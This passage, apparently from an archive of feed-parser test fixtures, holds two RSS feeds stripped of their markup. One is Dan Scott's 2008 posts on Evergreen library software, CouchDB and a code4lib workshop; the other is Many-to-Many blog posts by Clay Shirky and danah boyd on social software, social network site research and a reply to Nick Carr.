<ul> <li>Project Conifer is an existing effort to create a shared consortial implementation of Evergreen for academic institutions; we would be delighted to have others join forces with us</li> <li>If acquisitions isn't as far along as we would have hoped by now, it's because <ul> <li>We (the Project Conifer institutions) haven't contributed enough development resource to the effort thus far - although we are planning to correct this problem in the near term by hiring one or more developers to work on the requirements that we, as academic institutions, need for a successful Evergreen experience. If you're interested in a position as an Evergreen developer for Project Conifer, <a href="mailto:dan@coffeecode.net">let's talk</a>.</li> <li>Creating an enterprise-grade acquisitions system demands much more effort and attention to detail than creating a simplistic acquisitions system that would be acceptable for a small library. If it took two years to build Evergreen's circulation, cataloging, reporting, and OPAC functionality from scratch, it's not unreasonable that it should take a year or more to build an acquisitions system to the same standards as the rest of Evergreen</li> </ul> </li> <li>Evergreen acquisitions has made significant progress since December 2007, and at this pace we expect a complete set of basic functionality to be in place by the end of April. By "basic functionality" I mean that the manual acquisitions mode should be supported with a minimalist user interface. MARC order record batch loading, EDI send/receive support, and a more polished user interface will take some more time - probably September-ish 2008. You can see the in-development, regularly updated bare-bones interface at <a href="http://acq.open-ils.org/oils/acq/base/index">http://acq.open-ils.org/oils/acq/base/index</a>.</li> </ul> <p> I have to say that Equinox is making incredible progress considering that they're still doing the bulk of the work with the same amount of development resource that they had before Georgia PINES went live on Evergreen, and they started their own company, and they started bringing BC PINES on line, and they began receiving an onslaught of requests for visits and presentations and conference calls... imagine what we could do with Evergreen, together, if a few more sites or consortiums were able to devote human or financial resources to enhancing Evergreen. </p> <p> Here are my slides in <a href="http://www.coffeecode.net/uploads/talks/2008/Evergreen_acquisitions_VALE.odp" title="Evergreen_acquisitions_VALE.odp" target="_blank">OpenOffice</a> and <a href="http://www.coffeecode.net/uploads/talks/2008/Evergreen_acquisitions_VALE.ppt" title="Evergreen_acquisitions_VALE.ppt" target="_blank">PowerPoint</a> format. If you're going to look at my slides, I highly recommend reading the presenter notes that I wrote; I've recently realized that presenter notes are as much for the benefit of a disconnected audience as they are useful preparation material for the presenter. In the absence of a full paper on the subject matter at hand, presenter notes should help flesh out the brevity forced by slideware. </p> <p> A huge thanks to Ed Corrado, Anne Hoang, and Kurt Wagner for making the overall experience so enjoyable. I was honoured to be part of such a high-quality panel of speakers. </p> <p> Oh, and as an aside - the entire symposium was videotaped, and the presentations and question and answer sessions will be made available from the VALE Web site. I will update this post when those become available. I wonder if Ed got this idea from code4lib... in any case, I certainly applaud the initiative. </p> <p><strong>Update:</strong> Umm, more polished acquisitions will likely be available in Sept. 2008, not 2007... thanks to Brad Lajeunesse for pointing out that time travel would be required to make that happen</p> Sat, 15 Mar 2008 12:34:14 -0400 http://www.coffeecode.net/archives/152-guid.html CouchDB: delicious sacrilege http://www.coffeecode.net/archives/151-CouchDB-delicious-sacrilege.html Coding http://www.coffeecode.net/archives/151-CouchDB-delicious-sacrilege.html#comments http://www.coffeecode.net/wfwcomment.php?cid=151 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=151 dan@coffeecode.net (Dan Scott) <p> Well, the talk about CouchDB (an open-source document database similar in concept to Lotus Notes, but with a RESTful API and JSON as an interchange format) wasn't as much of a train wreck as it could have been. I learned a lot putting it together, and had some fun with the content - and even though it was a marked departure from the style of many of the other presentations, I think it was generally positively received (at least, from what I could glean from the backscroll in #code4lib and from comments). </p> <p> I veer towards the "here's how you do stuff" technical angle because that tends to be what I'm interested in hearing from other people. And even though a 20 minute slot is probably the wrong venue for technical information, CouchDB is so simple in some respects that it's actually enough to get the core message across. </p> <p> Here are the slides for your amusement and enlightenment. At some point I'm going to write down the OpenOffice.org secret that lets you change the colour of hypertext links - I've learned and forgotten that a number of times already. <p> <ul> <li><a href="http://www.coffeecode.net/uploads/talks/2008/couchdb.odp">CouchDB: Delicious Sacrilege (OpenOffice Impress)</li> <li><a href="http://www.coffeecode.net/uploads/talks/2008/couchdb.pdf">CouchDB: Delicious Sacrilege (PDF)</li> </ul> Thu, 28 Feb 2008 17:23:09 -0500 http://www.coffeecode.net/archives/151-guid.html Evergreen workshop at code4lib 2008 http://www.coffeecode.net/archives/150-Evergreen-workshop-at-code4lib-2008.html Evergreen http://www.coffeecode.net/archives/150-Evergreen-workshop-at-code4lib-2008.html#comments http://www.coffeecode.net/wfwcomment.php?cid=150 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=150 dan@coffeecode.net (Dan Scott) <p> Yesterday morning we (Bill Erickson, Sally Murphy <em>aka</em> "Murph", and I ran an <a href="http://open-ils.org/dokuwiki/doku.php?id=advocacy:evergreen_workshop">Evergreen workshop</a> (rough agenda, presentation, and links to associated resources from that page) for the code4lib 2008 preconference session. My personal goals were: </p> <ol> <li>Walk people through a simple Evergreen install</li> <li>Get a small set of bib records and holdings imported</li> <li>Attract some more developers to the project by demonstrating how seductively simple it is to add a new service to Evergreen at the OpenSRF layer and then expose it in the catalogue or staff client</li> <li>Show off some of the great features of Evergreen that haven't had nearly enough exposure (reports, "fresh meat" feeds, exporter interface)</li> </ol> <h4>Problems</h4> <p> <a name="problem1">Problem #1</a>: I started organizing the pre-conference too late. To save time on the install section, I asked attendees to prepare by setting up a VMWare image or bootable Debian or Ubuntu partition and get a bunch of the prerequisite packages installed ahead of time. But by the time I sent my request out, the attendees only had a few days to prepare - and many of them probably hadn't worked with VMWare before, so they suddenly had another learning barrier to overcome. I wasn't too surprised when only about 25% of the room had been able to "do their homework". </p> <p> Problem #2: I lost at least six hours of preparation time when, due to my own stupidity, I left my passport in a hotel in Atlanta and ended up having to drive across the border from Vancouver to Portland, Oregon. Six hours, man... that's almost a full day thrown away, which is critical when you've left things too late (see <a href="#problem1">#1</a>). Continuing on the negative side, all I could listen to during the drive was completely formulaic rock stations and political rhetoric worthy of 10-year-olds as I drove through Washington. If radio is a dying medium, I have a very good idea why... </p> <p> Problem #3: We ran into bizarre projector problems that, for some reason, prevented us from being able to see our laptop screens at the same time as the projected screen. This laptop worked fine with the projector at the OLA Superconference just a few weeks ago, and Bill was afflicted by the same problem - so it really put a crimp in my ability to switch from the presentation to the live install image. My neck was wrecked from constantly twisting around to peer up at the screen while trying to do some minor mousing around. </p> <p> <a name="problem4">Problem #4</a>: I severely underestimated how long the install process would take when trying to support a whole group of people at once; you're guaranteed to have a question on almost every step. When we were preparing for the workshop, we had this idea that we would take a hard line and spend no more than one or two minutes on each step - which certainly would have saved a lot of time. But when you've made a connection with the audience, and people have made it through the first dozen steps, it suddenly becomes a lot, lot harder to simply abandon them with the promise that you'll help them later. So we ended up spending something like 2 hours on the install (including a break) rather than the 45 minutes we had been aiming for. </p> <p> Problem #5: We were overly optimistic about how much we could get done in 2.5 hours. Even without the severe compounding of our time crunch by <a href="problem4">#4</a>, in retrospect its clear we would still have been rushing through all of the other pieces. I think we knew that anyways, but we were just so excited about showing off Evergreen that we wanted to show off as much as possible. </p> <p> It's not really all that bleak though. There were successes, too. </p> <h4>Successes</h4> <p> Success #1: We have at least one person who successfully made it through the install phase and who successfully imported the bib records and holdings, and several others who feel they are <em>very</em> close to finishing. I'm hoping that we can spend a few minutes over the course of the conference to help them reach that finish line. </p> <p> Success #2: We have a real example of <a href="http://open-ils.org/dokuwiki/doku.php?id=importing:holdings:import_via_staging_table">how to import holdings</a> into Evergreen now. This is something that people have been asking for on the list, and I'm really happy to have been able to package up what Mike Rylander provided with a set of sample records and a sample "parse holdings" script that hopefully others will be able to adopt to their own needs. </p> <p> Success #3: I had feedback from a number of people who, even though they weren't trying to go through the install, still felt it was worthwhile getting an explanation of all the pieces that OpenSRF and Evergreen depend on and how they fit together. I think it was clear that the complexity involved in installing Evergreen isn't so much OpenSRF or Evergreen themselves as it is a few finicky details involving networking - largely ejabberd and Net::Domain's insistence on specific and sometimes conflicting definitions of hostnames. </p> <p> Success #4: Bill did get to quickly demonstrate <a href="http://open-ils.org/dokuwiki/doku.php?id=advocacy:evergreen_workshop#customizing_evergreennew_service">how to add a new OpenSRF service</a> ("reset my password and email it to me") and how to integrate that into the catalogue. It was rough and dirty code, but at approximately one page of Perl code and about 10 lines of JavaScript I think it was a convincing demonstration of how easy it is to extend Evergreen. </p> <p> Success #5: We have laid the groundwork for an Evergreen workshop now, and having gone through the experience once we'll be able to refine the concept for future events. One idea that we've already kicked around is to split it into several tracks so that attendees can self-select what they're interested in and so that we can give enough time to each section. Say, two (or three) hours for an installfest; two hours for "exploring the dark corners of Evergreen"; and two hours on developing and extending Evergreen (OpenSRF, catalogue, staff client). Or we could have spent the entire pre-conference day on Evergreen. </p> <h4>Reflection</h4> <p> I think it might have been really cool if we had worked with LibraryFind and Zotero to set up an ongoing theme throughout the three pre-conference sessions. We could have collaborated on pre-requisites, so that the LibraryFind install could go on top of the same image as the Evergreen install, and then the newly installed Evergreen image could have been added as a LibraryFind source during the LibraryFind administration section. Then, during the Zotero session, Evergreen and LibraryFind could have been added as new sources for capturing citation information (by making Evergreen and LibraryFind generate COInS objects that Zotero understands or giving Zotero the ability to understand the various formats that Evergreen offers via unAPI). </p> <p> Of course, it also would have required a heck of a lot of pre-conference planning. A suggestion I would make for next year's pre-conference organizers would be to communicate as much as possible ahead of time to set expectations and help your attendees determine what your agenda should be. We could have just thrown out the entire Evergreen install section, had people get comfortable with a pre-installed VMWare ahead of time, and focused most of the session on developing and exposing OpenSRF services, for example, if that's what our attendees wanted. </p> Tue, 26 Feb 2008 08:44:43 -0500 http://www.coffeecode.net/archives/150-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.corante.com-many-index.xml0000664000175000017500000025043012653701626026617 0ustar janjan Many-to-Many /home/corante/public_html/many/ en-us Copyright 2008 Thu, 28 Feb 2008 17:30:30 -0500 http://www.movabletype.org/?v=3.34 http://blogs.law.harvard.edu/tech/rss My book. Let me Amazon show you it. <p>I&#8217;m delighted to say that online bookstores are shipping copies of <em><a http="http://isbn.nu/9781594201530" Title="Find 'Here Comes Everybody' online">Here Comes Everybody</a></em> today, and that it has gotten several terrific notices in the blogosphere:</p> <a href="http://www.boingboing.net/2008/02/28/clay-shirkys-masterp.html">Cory Doctorow</a>:<blockquote>Clay&#8217;s book makes sense of the way that groups are using the Internet. Really good sense. In a treatise that spans all manner of social activity from vigilantism to terrorism, from Flickr to Howard Dean, from blogs to newspapers, Clay unpicks what has made some &#8220;social&#8221; Internet media into something utterly transformative, while other attempts have fizzled or fallen to griefers and vandals. Clay picks perfect anecdotes to vividly illustrate his points, then shows the larger truth behind them.</blockquote> <a href="http://russelldavies.typepad.com/planning/2008/02/blog-all-dog--1.html"> Russell Davies</a>: <blockquote><i>Here Comes Everybody</i> goes beyond wild-eyed webby boosterism and points out what seems to be different about web-based communities and organisation and why it&#8217;s different; the good and the bad. With useful and interesting examples, good stories and sticky theories. Very good stuff.</blockquote> <a href="http://www.nehrlich.com/blog/2008/02/25/here-comes-everybody-by-clay-shirky/">Eric Nehrlich</a>: <blockquote>These newly possible activities are moving us towards the collapse of social structures created by technology limitations. Shirky compares this process to how the invention of the printing press impacted scribes. Suddenly, their expertise in reading and writing went from essential to meaningless. Shirky suggests that those associated with controlling the means to media production are headed for a similar fall.</blockquote> <a href="http://publicsphere.typepad.com/mediations/2008/02/here-comes-ever.html">Philip Young</a>:<br /> <blockquote>Shirky has a piercingly sharp eye for the spotting the illuminating case studies - some familiar, some new - and using them to energise wider themes. His basic thesis is simple: &#8220;Everywhere you look groups of people are coming together to share with one another, work together, take some kind of public action.&#8221; The difference is that today, unlike even ten years ago, technological change means such groups can be form and act in new and powerful ways. Drawing on a wide range of examples Shirky teases out remarkable contrasts with what has been the expected logic, and shows quite how quickly the dynamics of reputation and relationships have changed.</a></blockquote> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=0kni0Z"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=0kni0Z" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=pJVWqKE"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=pJVWqKE" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/242977988" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/242977988/my_book_let_me_amazon_show_you_it.php http://many.corante.com/archives/2008/02/28/my_book_let_me_amazon_show_you_it.php clays social software Thu, 28 Feb 2008 17:30:30 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2008%2F02%2F28%2Fmy_book_let_me_amazon_show_you_it.phphttp://many.corante.com/archives/2008/02/28/my_book_let_me_amazon_show_you_it.php My book. Let me show you it. <p>I&#8217;ve written a book, called <a href="http://isbn.nu/9781594201530" Title="Find the book in stores"><i>Here Comes Everybody: The Power of Organizing Without Organizations</i></a>, which is coming out in a month. It&#8217;s coming out first in the US and UK (and in translation later this year in Holland, Portugal and Brazil, Korea, and China.) </p> <p><a href="http://isbn.nu/9781594201530" Title="Find the book in stores"><img src="http://shirky.com/images/covers_alpha.jpg" title="US and UK covers" /></a></p> <p><i>Here Comes Everybody</i> is about why new social tools matter for society. It is a non-techie book for the general reader (the letters <span class="caps">TCP</span> IP appear nowhere in that order). It is also post-utopian (I assume that the coming changes are both good and bad) and written from the point of view I have adopted from my students, namely that the internet is now boring, and the key question is what we are going to do with it.</p> <p>One of the great frustrations of writing a book as opposed to blogging is seeing a new story that would have been a perfect illustration, or deepened an argument, and not being able to add it. To remedy that, I&#8217;ve just launched a new blog, at <a href="http:HereComesEverybody,org/">HereComesEverybody.org</a>, to continue writing about the effects of social tools.</p> <p>Wow. What a great response &#8212; we&#8217;ve given out all the copies we can, but many thanks for all the interest. <s>Also, I&#8217;ve convinced the good folks at Penguin Press to let me give a few review copies away to people in the kinds of communities the book is about. I&#8217;ve got half a dozen copies to give to anyone reading this, with the only quid pro quo being that you blog your reactions to it, good bad or indifferent, some time in the next month or so. Drop me a line if you would like a review copy &#8212; clay@shirky.com.</s></p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=UPnx6p"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=UPnx6p" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=wxxZlgE"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=wxxZlgE" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/231117493" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/231117493/my_book_let_me_show_you_it.php http://many.corante.com/archives/2008/02/07/my_book_let_me_show_you_it.php clays social software Thu, 07 Feb 2008 12:43:57 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2008%2F02%2F07%2Fmy_book_let_me_show_you_it.phphttp://many.corante.com/archives/2008/02/07/my_book_let_me_show_you_it.php It's Live! New JCMC on Social Network Sites <p>It gives me unquantifiable amounts of joy to announce that the <span class="caps">JCMC </span>special theme issue on &#8220;Social Network Sites&#8221; is now completely birthed. It was a long and intense labor, but all eight newborn articles are doing just fine and the new mommies are as proud as could be. So please, join us in our celebration by heading on over to the Journal for Computer-Mediated Communication and snuggling up to an article or two. The more you love them, the more they&#8217;ll prosper! </p> <p><b><a href="http://jcmc.indiana.edu/vol13/issue1/"><span class="caps">JCMC</span> Special Theme Issue on &#8220;Social Network Sites&#8221;</a></b><br /> Guest Editors: danah boyd and Nicole Ellison<br /> <a href="http://jcmc.indiana.edu/vol13/issue1/">http://jcmc.indiana.edu/vol13/issue1/</a></p> <ul> <li><a href="http://jcmc.indiana.edu/vol13/issue1/boyd.ellison.html">&#8220;Social Network Sites: Definition, History, and Scholarship&#8221;</a> by danah boyd and Nicole Ellison <li><a href="http://jcmc.indiana.edu/vol13/issue1/donath.html">&#8220;Signals in Social Supernets&#8221;</a> by Judith Donath <li><a href="http://jcmc.indiana.edu/vol13/issue1/liu.html">&#8220;Social Network Profiles as Taste Performances&#8221;</a> by Hugo Liu <li><a href="http://jcmc.indiana.edu/vol13/issue1/hargittai.html">&#8220;Whose Space? Differences Among Users and Non-Users of Social Network Sites&#8221;</a> by Eszter Hargittai <li><a href="http://jcmc.indiana.edu/vol13/issue1/kim.yun.html">&#8220;Cying for Me, Cying for Us: Relational Dialectics in a Korean Social Network Site&#8221;</a> by Kyung-Hee Kim and Haejin Yun <li><a href="http://jcmc.indiana.edu/vol13/issue1/byrne.html">&#8220;Public Discourse, Community Concerns, and Civic Engagement: Exploring Black Social Networking Traditions on BlackPlanet.com&#8221;</a> by Dara Byrne <li><a href="http://jcmc.indiana.edu/vol13/issue1/humphreys.html">&#8220;Mobile Social Networks and Social Practice: A Case Study of Dodgeball&#8221;</a> by Lee Humphreys <li><a href="http://jcmc.indiana.edu/vol13/issue1/lange.html">&#8220;Publicly Private and Privately Public: Social Networking on YouTube&#8221;</a> by Patricia Lange </ul> <p>Please feel free to pass this announcement on to anyone you think might find value from this special issue. </p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=pf1hFD"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=pf1hFD" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=hNKxR4B"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=hNKxR4B" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/183952006" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/183952006/its_live_new_jcmc_on_social_network_sites.php http://many.corante.com/archives/2007/11/13/its_live_new_jcmc_on_social_network_sites.php danah social software Tue, 13 Nov 2007 00:24:39 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F11%2F13%2Fits_live_new_jcmc_on_social_network_sites.phphttp://many.corante.com/archives/2007/11/13/its_live_new_jcmc_on_social_network_sites.php Race/ethnicity and parent education differences in usage of Facebook and MySpace <p>In June, I wrote <a href="http://www.danah.org/papers/essays/ClassDivisions.html">a controversial blog essay</a> about how <span class="caps">U.S. </span>teens appeared to be self-dividing by class on MySpace and Facebook during the 2006-2007 school year. This piece got me into loads of trouble for all sorts of reasons, forcing me to <a href="http://www.danah.org/papers/essays/ResponseToClassDivisions.html">respond</a> to some of the most intense critiques. </p> <p>While what I was observing went beyond what could be quantitatively measured, certain aspects of it could be measured. To my absolute delight, <a href="http://www.eszter.com/">Eszter Hargittai</a> (professor at Northwestern) had collected data to measure certain aspects of the divide that I was trying to articulate. Not surprising (to me at least), what she was seeing lined up completely with what I was seeing on the ground. </p> <p>Her latest article <b><a href="http://jcmc.indiana.edu/vol13/issue1/hargittai.html">&#8220;Whose Space? Differences Among Users and Non-Users of Social Network Sites&#8221;</a></b> (published as a part of Nicole Ellison and my <a href="http://jcmc.indiana.edu/vol13/issue1/"><span class="caps">JCMC </span>special issue</a> on social network sites) suggests that Facebook and MySpace usage are divided by race/ethnicity and parent education (two common measures of &#8220;class&#8221; in the <span class="caps">U.S.</span>). Her findings are based on a survey of 1060 first year students at the diverse University of Illinois-Chicago campus during February and March of 2007. For more details on her methodology, see her <a href="http://jcmc.indiana.edu/vol13/issue1/hargittai.html#methods">methods section</a>. </p> <p>While over 99% of the students had heard of both Facebook and MySpace, 79% use Facebook and 55% use MySpace. The story looks a bit different when you break it down by race/ethnicity and parent education: </p> <p><center><a href="http://jcmc.indiana.edu/vol13/issue1/hargittai.html"><img src="http://www.zephoria.org/images/blog/2007/11/EszterData.jpg" border="2" width="500" /></a></center></p> <p>While Eszter is not able to measure the other aspects of lifestyle that I was trying to describe that differentiate usage, she is able to show that Facebook and MySpace usage differs by race/ethnicity and parent education. These substitutes for &#8220;class&#8221; can be contested, but what is important here is that there is genuinely differences in usage patterns, even with consistent familiarity. People are segmenting themselves in networked publics and this links to the ways in which they are segmented in everyday life. Hopefully Eszter&#8217;s article helps those who can&#8217;t read qualitative data understand that what I was observing is real and measurable. </p> <p><i>(We are still waiting for all of the <span class="caps">JCMC </span>articles from our special issue to be live on the site. Fore more information on this special issue, please see the Introduction that Nicole and I wrote: <a href="http://jcmc.indiana.edu/vol13/issue1/boyd.ellison.html">Social Network Sites: Definition, History, and Scholarship</a>.)</i></p> <p>Discussion: <a href="http://www.zephoria.org/thoughts/archives/2007/11/03/raceethnicity_a.html">Apophenia</a></p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=3178hh"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=3178hh" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=5TIj0xB"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=5TIj0xB" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/179418938" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/179418938/raceethnicity_and_parent_education_differences_in_usage_of_facebook_and_myspace.php http://many.corante.com/archives/2007/11/03/raceethnicity_and_parent_education_differences_in_usage_of_facebook_and_myspace.php danah social software Sat, 03 Nov 2007 20:20:24 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F11%2F03%2Fraceethnicity_and_parent_education_differences_in_usage_of_facebook_and_myspace.phphttp://many.corante.com/archives/2007/11/03/raceethnicity_and_parent_education_differences_in_usage_of_facebook_and_myspace.php User-generated neologism: "Indigenous content" <p>My class in the fall is called &#8220;User-generated&#8221;, and it looks, among other things, at the tension surrounding that phrase, and in particular its existence as an external and anxiety-ridden label, by traditional media companies, for the way that advertising can be put next to material not created by Trained Professionals™.</p> <p>All right-thinking individuals (by which I basically mean <a href="http://www.dashes.com/anil/2007/08/inspirational.html">Anil Dash and Heather Champ</a>) hate that phrase. Now my friend <a href="http://del.icio.us/kio">Kio Stark</a>* has come up with what seems like a nice, and more anthropologically correct version: Indigenous Content (which is to say &#8220;Created by the natives for themselves.&#8221;)</p> <p> * ObKio: Best. Tagset. Evar.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=CAWzPc"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=CAWzPc" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=9AXBXuzm"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=9AXBXuzm" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/140410361" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/140410361/usergenerated_neologism_indigenous_content.php http://many.corante.com/archives/2007/08/03/usergenerated_neologism_indigenous_content.php clays Fri, 03 Aug 2007 13:57:34 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F08%2F03%2Fusergenerated_neologism_indigenous_content.phphttp://many.corante.com/archives/2007/08/03/usergenerated_neologism_indigenous_content.php history of social network sites (a work-in-progress) <p>As many of you know, Nicole Ellison and I are guest editing a special issue of <a href="http://jcmc.indiana.edu/"><span class="caps">JCMC</span></a>. As a part of this issue, we are writing an introduction that will include a description of social network sites, a brief history of them, a literature review, a description of the works in this issue, and a discussion of future research. We have decided to put a draft of our history section up to solicit feedback from those of you who know this space well. It is a work-in-progress so please bear with us. But if you have suggestions, shout out.</p> <p><center><a href="http://www.danah.org/papers/worksinprogress/SNSHistory.html">history of social network sites (a work-in-progress)</a></center></p> <p>In particular, we want to know: 1) Are we reporting anything inaccurately? 2) What are we missing? </p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=mdnoBY"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=mdnoBY" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=tud5js9H"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=tud5js9H" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/140075021" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/140075021/history_of_social_network_sites_a_workinprogress.php http://many.corante.com/archives/2007/08/02/history_of_social_network_sites_a_workinprogress.php danah social software Thu, 02 Aug 2007 15:58:22 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F08%2F02%2Fhistory_of_social_network_sites_a_workinprogress.phphttp://many.corante.com/archives/2007/08/02/history_of_social_network_sites_a_workinprogress.php New Freedom Destroys Old Culture: A response to Nick Carr <p>I have never understood Nick Carr&#8217;s objections to the cultural effects of the internet. He&#8217;s much too smart to lump in with nay-sayers like Keen, and when he talks about the effects of the net on business, he sounds more optimistic, even factoring in the wrenching transition, so why aren&#8217;t the cultural effects similar cause for optimism, even accepting the wrenching transition in those domains as well?</p> <p>I think I finally got understood the dichotomy between his reading of business and culture after reading <a href="http://www.roughtype.com/archives/2007/05/long_player.php">Long Player</a>, his piece on metadata and what he calls &#8220;the myth of liberation&#8221;, a post spurred in turn by David Weinberger&#8217;s <a href="http://www.amazon.com/exec/obidos/ASIN/0805080430/">Everything Is Miscellaneous</a>. </p> <p>Carr discusses the ways in which the long-playing album was both conceived of and executed as an aesthetic unit, its length determined by a desire to hold most of the classical canon on a single record, and its possibilities exploited by musicians who created for the form &#8212; who created albums, in other words, rather than mere bags of songs. He illustrates this with an exegesis of the Rolling Stones&#8217; <em>Exile on Main Street</em>, showing how the overall construction makes that album itself a work of art.</p> <p>Carr uses this point to take on what he calls the myth of liberation: &#8220;This mythology is founded on a sweeping historical revisionism that conjures up an imaginary predigital world - a world of profound physical and economic constraints - from which the web is now liberating us.&#8221; Carr observes, correctly, that the LP was what it was in part for aesthetic reasons, and the album, as a unit, became what it became in the hands of people who knew how to use it. </p> <p>That is not, however, the neat story Carr wants to it be, and the messiness of the rest of the story is key, I think, to the anxiety about the effects on culture, his and others.</p> <p>The LP was an aesthetic unit, but one designed within strong technical constraints. When Edward Wallerstein of Columbia Records was trying to figure out how long the long-playing format should be, he settled on 17 minutes a side as something that would &#8220;&#8230;enable about 90% of all classical music to be put on two sides of a record.&#8221; But why only 90%? Because 100% would be impossible &#8212; the rest of the canon was too long for the technology of the day. And why should you have to flip the record in the middle? Why not have it play straight through? Impossible again. </p> <p>Contra Carr, in other words, the pre-digital world <em>was</em> a world of profound physical and economic constraints. The LP could hold 34 minutes of music, which was a bigger number of minutes than some possibilities (33 possibilities, to be precise), but smaller than an infinite number of others. The album as a form provided modest freedom embedded in serious constraints, and the people who worked well with the form accepted those constraints as a way of getting at those freedoms. And now the constraints are gone; there is no necessary link between an amount of music and its playback vehicle.</p> <p>And what Carr dislikes, I think, is evidence that the freedoms of the album were only as valuable as they were in the context of the constraints. If <em>Exile on Main Street</em> was as good an idea as he thinks it was, it would survive the removal of those constraints. </p> <p>And it hasn&#8217;t.</p> <p>Here is the iTunes snapshot of <em>Exile</em>, sorted by popularity:</p> <table><tr><td><img src="http://shirky.com/exile.png" /></td></tr></table> <p>While we can&#8217;t get absolute numbers from this, we can get relative ones &#8212; many more people want to listen to Tumbling Dice or Happy than Ventilator Blues or Turd on the Run, <em>even though iTunes makes it cheaper per song to buy the whole album.</em> Even with a financial inducement to preserve the album form, the users still say no thanks.</p> The only way to support the view that <em>Exile</em> is best listened to as an album, in other words, is to dismiss the actual preferences of most of the people who like the Rolling Stones. Carr sets about this task with gusto:<br /> <blockquote> Who would unbundle Exile on Main Street or Blonde on Blonde or Tonight&#8217;s the Night - or, for that matter, Dirty Mind or Youth and Young Manhood or (Come On Feel the) Illinoise? Only a fool would.<br /> </blockquote> Only a fool. If you are one of those people who has, say, Happy on your iPod (as I do), then you are a fool (though you have lots of company). And of course this foolishness extends to the recording industry, and to the Stones themselves, who went and put Tumbling Dice on a Greatest Hits collection. (One can only imagine how Carr feels about Greatest Hits collections.) <p>I think Weinberger&#8217;s got it right about liberation, even taking at face value the cartoonish version Carr offers. Prior to unlimited perfect copyability, media was defined by profound physical and economic constraints, and now it&#8217;s not. Fewer constraints and better matching of supply and demand are good for business, because business is not concerned with historical continuity. Fewer constraints and better matching of supply and demand are bad for current culture, because culture continually mistakes current exigencies for eternal verities. </p> <p>This isn&#8217;t just Carr of course. As people come to realize that freedom destroys old forms just as surely as it creates new ones, the lament for the long-lost present is going up everywhere. As another example, Sven Birkerts, the literary critic, has a post in the Boston Globe, <a href="http://www.boston.com/news/globe/ideas/articles/2007/07/29/lost_in_the_blogosphere/?page=full">Lost in the blogosphere</a>, that is almost indescribably self-involved. His two complaints are that newspapers are reducing the space allotted to literary criticism, and too many people on the Web are writing about books. In other words, literary criticism, as practiced during Birkerts&#8217; lifetime, was <em>just right</em>, and having either fewer or more writers are both lamentable situations.</p> <p>In order that the &#8220;Life was better when I was younger&#8221; flavor of his complaint not become too obvious, Birkerts frames the changing landscape not as a personal annoyance but as A Threat To Culture Itself. As he puts it &#8220;&#8230;what we have been calling &#8220;culture&#8221; at least since the Enlightenment &#8212; is the emergent maturity that constrains unbounded freedom in the interest of mattering.&#8221;</p> <p>This is silly. The constraints of print were not a product of &#8220;emergent maturity.&#8221; They were accidents of physical production. Newspapers published book reviews because their customers read books and because publishers took out ads, the same reason they published pieces about cars or food or vacations. Some newspapers hired critics because they could afford to, others didn&#8217;t because they couldn&#8217;t. Ordinary citizens didn&#8217;t write about books in a global medium because no such medium existed. None of this was an attempt to &#8220;constrain unbounded freedom&#8221; because there was no such freedom to constrain; it was just how things were back then.</p> <p>Genres are always created in part by limitations. Albums are as long as they are because that Wallerstein picked a length his engineers could deliver. Novels are as long as they are because Aldus Manutius&#8217;s italic letters and 